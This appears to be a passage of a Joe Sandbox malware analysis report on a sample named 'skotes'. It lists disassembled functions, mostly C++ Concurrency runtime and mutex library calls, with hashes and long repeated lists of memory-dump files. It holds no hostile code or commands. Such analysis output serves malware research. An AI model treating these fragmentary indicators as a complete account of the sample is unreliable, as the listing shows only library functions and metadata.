Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z{,m{
API String ID: 1423051803-3440029403
Opcode ID: 2798c9b2de51ab84ef0c87288c477962b84cc9ab656523bd9b1e212ea9e0c075
Instruction ID: 8aecb23c907c5f8b45928fb226fb18e46dc1f7d10e48b21bf13f54f87d6fbc25
Opcode Fuzzy Hash: 2798c9b2de51ab84ef0c87288c477962b84cc9ab656523bd9b1e212ea9e0c075
Instruction Fuzzy Hash: F551C072600206ABEF31AE64DC55FFB3BA9EF84760F15012DFE05A7151EB78DC1086A0

Function 007ADD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 007ADD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 007ADDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 007ADE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 007ADE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 007ADE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 007ADE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 007ADE74

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 0b342f9d7664b71ac8e9b2a882f3060510684c1c2b63da3e9d5ded96f00fdb0c
Instruction ID: 4693951c85900f3112e1793d12acfa86c9d51c33b8b95dec3ee97f608a0ac4d6
Opcode Fuzzy Hash: 0b342f9d7664b71ac8e9b2a882f3060510684c1c2b63da3e9d5ded96f00fdb0c
Instruction Fuzzy Hash: 07419070A08244DACF25FBB484597EC77A16F97704F1446A9E8426F6C3DB3C5E04CB62

Function 007AE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007AE7D7

Part of subcall function 007AE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007AE577
Part of subcall function 007AE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007AE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007AE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007AE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007AE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007AE879
Concurrency::location::_Assign.LIBCMT ref: 007AE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007AE8B5

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: cc37943117baa7e37393a6dddb4fd97e2a7189c980d0e1734f5182af479d03ff
Instruction ID: f0eb223d7508535a376e2631861f5ff077bc6851d1230eeddb001839d69cd793
Opcode Fuzzy Hash: cc37943117baa7e37393a6dddb4fd97e2a7189c980d0e1734f5182af479d03ff
Instruction Fuzzy Hash: 35411B75A00204DFCF05EF64C895BADB7B5FF89310F1481A9DD459B382DB38A941CBA1

Function 00796E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00796ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00796F22
std::_Rethrow_future_exception.LIBCPMT ref: 00796F32
__Mtx_unlock.LIBCPMT ref: 00796FD5
__Mtx_unlock.LIBCPMT ref: 007970DB
__Mtx_unlock.LIBCPMT ref: 00797116

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 7fb75e1a8629d171114ea39e67fadc82753eeea45122b4b2979fa780528de1b5
Instruction ID: a54a6544a49d139ba75170f6bd2c6876fc9e3ec4d7456892ea93cc95887d32df
Opcode Fuzzy Hash: 7fb75e1a8629d171114ea39e67fadc82753eeea45122b4b2979fa780528de1b5
Instruction Fuzzy Hash: 97C1E171D04708DBDF25DFB4E949BAEBBF5AF44310F00452EE81697682EB39A904CB61

Function 007A44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007A4538
ListArray.LIBCONCRT ref: 007A456C
Hash.LIBCMT ref: 007A45D5
Hash.LIBCMT ref: 007A45E5

Part of subcall function 007A9C41: std::bad_exception::bad_exception.LIBCMT ref: 007A9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 007A474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007A47A4

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 30983834879f173a08f452cace2b56f92a7abcba80b4d1c6728d0a670bd064d8
Instruction ID: b7586f717a573fbd26eac5175f25c2c7d69ac6efc194b4f544cb4b738d089be9
Opcode Fuzzy Hash: 30983834879f173a08f452cace2b56f92a7abcba80b4d1c6728d0a670bd064d8
Instruction Fuzzy Hash: E78154B0A11A52FAD708DF74C845BD9FBA8BF8A710F10431AF528D7281CBB96564CBD1

Function 0079ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0079ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0079ED17

Part of subcall function 0079F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0079F3FA

__alloca_probe_16.LIBCMT ref: 0079ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0079ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0079EDC6
__freea.LIBCMT ref: 0079EDEC

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
